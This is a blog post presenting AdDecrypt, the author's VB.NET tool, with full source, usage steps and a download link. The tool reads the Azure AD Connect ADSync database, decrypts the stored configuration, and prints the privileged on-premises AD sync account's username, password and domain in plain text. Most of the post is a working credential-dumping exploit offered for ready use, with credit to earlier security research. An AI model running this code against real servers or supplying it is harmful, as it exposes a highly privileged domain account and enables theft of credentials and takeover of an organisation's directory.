The Azure AD Connect service is essentially responsible for synchronizing things between your local AD domain, and the Azure based domain. However, to do this it needs privileged credentials for your local domain so that it can perform various operations such as syncing passwords etc. I recently discovered this great video that explains where it stores these credentials and how to decrypt them.
TL;DR: Its possible to just run some simple .NET or Powershell code on the server where Azure AD Connect is installed and instantly get plain text credentials for whatever AD account it is set to use!
Initially I thought I would have to repeat all of the steps they performed in the video (decompiling and watching API calls etc) to produce my own code that exploits this… but it turns out the presenter (Fox-It) was kind enough to provide this Github repo demonstrating exactly how to perform such an attack in C#.
There’s also this blog post by XPN InfoSec that provides more info as well as a working Powershell alternative.
Anyway, I thought I’d also have a go at writing my own version and compile it so its super easy to use and also gives you the option to choose between attacking an SQLExpress “LocalDb” database or a full fat SQL Server instance. Fox-It mentioned he had a download link for his compiled program in the Github readme, but I couldn’t get it to download (he also mentioned the way credentials are stored has changed recently so his code might not work now). I knew the Powershell script worked fine after changing the SQL connection string when I tested it myself, so I used that as my base and wrote a similar utility in VB.NET.
There’s a download link for my compiled program at the bottom of this page but here’s the code for anyone interested:
Imports Microsoft.DirectoryServices.MetadirectoryServices.Cryptography
Imports System.Data.SqlClient
Imports System.Xml
Module MainModule
Sub Main()
Try
Console.WriteLine(Environment.NewLine & "======================" & Environment.NewLine &
"AZURE AD SYNC CREDENTIAL DECRYPTION TOOL" & Environment.NewLine &
"Based on original code from: https://github.com/fox-it/adconnectdump" & Environment.NewLine &
"======================" & Environment.NewLine)
Dim SqlConnectionString As String = "Data Source=(LocalDB)\\.\\ADSync;Initial Catalog=ADSync;Connect Timeout=20"
If My.Application.CommandLineArgs.Count > 0 AndAlso String.Compare(My.Application.CommandLineArgs(0), "-FullSql", True) = 0 Then
SqlConnectionString = "Server=LocalHost;Database=ADSync;Trusted_Connection=True;"
End If
Dim KeyId As UInteger
Dim InstanceId As Guid
Dim Entropy As Guid
Dim ConfigXml As String
Dim EncryptedPasswordXml As String
Using SqlConn As New SqlConnection(SqlConnectionString)
Try
Console.WriteLine("Opening database connection...")
SqlConn.Open()
Using SqlCmd As New SqlCommand("SELECT instance_id, keyset_id, entropy FROM mms_server_configuration;", SqlConn)
Console.WriteLine("Executing SQL commands...")
Using Reader As SqlDataReader = SqlCmd.ExecuteReader
Reader.Read()
InstanceId = DirectCast(Reader("instance_id"), Guid)
KeyId = CUInt(Reader("keyset_id"))
Entropy = DirectCast(Reader("entropy"), Guid)
End Using
End Using
Using SqlCmd As New SqlCommand("SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'", SqlConn)
Using Reader As SqlDataReader = SqlCmd.ExecuteReader
Reader.Read()
ConfigXml = CStr(Reader("private_configuration_xml"))
EncryptedPasswordXml = CStr(Reader("encrypted_configuration"))
End Using
End Using
Catch Ex As Exception
Console.WriteLine("Error reading from database: " & Ex.Message)
Exit Sub
Finally
Console.WriteLine("Closing database connection...")
SqlConn.Close()
End Try
Try
Console.WriteLine("Decrypting XML...")
Dim CryptoManager As New KeyManager
CryptoManager.LoadKeySet(Entropy, InstanceId, KeyId)
Dim Decryptor As Key = Nothing
CryptoManager.GetActiveCredentialKey(Decryptor)
Dim PlainTextPasswordXml As String = Nothing
Decryptor.DecryptBase64ToString(EncryptedPasswordXml, PlainTextPasswordXml)
Console.WriteLine("Parsing XML...")
Dim Domain As String = String.Empty
Dim Username As String = String.Empty
Dim Password As String = String.Empty
Dim XmlDoc As New XmlDocument
XmlDoc.LoadXml(PlainTextPasswordXml)
Dim XmlNav As XPath.XPathNavigator = XmlDoc.CreateNavigator
Password = XmlNav.SelectSingleNode("//attribute").Value
XmlDoc.LoadXml(ConfigXml)
XmlNav = XmlDoc.CreateNavigator
Domain = XmlNav.SelectSingleNode("//parameter[@name='forest-login-domain']").Value
Username = XmlNav.SelectSingleNode("//parameter[@name='forest-login-user']").Value
Console.WriteLine("Finished!" &
Environment.NewLine & Environment.NewLine &
"DECRYPTED CREDENTIALS:" & Environment.NewLine &
"Username: " & Username & Environment.NewLine &
"Password: " & Password & Environment.NewLine &
"Domain: " & Domain & Environment.NewLine)
Catch ex As Exception
Console.WriteLine("Error decrypting: " & ex.Message)
End Try
End Using
Catch ex As Exception
Console.WriteLine("Unexpected error: " & ex.Message)
End Try
End Sub
End Module
and when we run it on a machine that has the Azure AD Connect database on it, we get the AD account’s credentials in plain text (obviously I’ve blurred out the actual password, but you get the idea):

Usage:
AdDecrypt.exe (with no parameters)
Will attempt to access the ADSync database on the default SQLExpress “LocalDb” instance
AdDecrypt.exe -FullSQL
Will attempt to access the ADSync database on a full fat MS SQL instance using windows authentication (the actual connection string used is: “Server=LocalHost;Database=ADSync;Trusted_Connection=True;” )
This program must be run while the AD Sync Bin folder is your “working directory”, or has been added to the PATH variable. An easy way to do this is simply navigate to the folder in Powershell or Command Prompt (i.e cd “C:\Program Files\Microsoft Azure AD Sync\Bin”), and then run the program by typing the full path to wherever you have stored it. You also need to make sure the mcrypt.dll from the download link is in the same directory the program is in. Failure to do either of these things will result in a Module Not Found error.
Download link: https://github.com/VbScrub/AdSyncDecrypt/releases
Hope that helps someone 🙂 and again a big shout out to the guys at Fox-IT that figured all of this out originally, and the guys at XPN InfoSec who put together the Powershell script and some further explanation.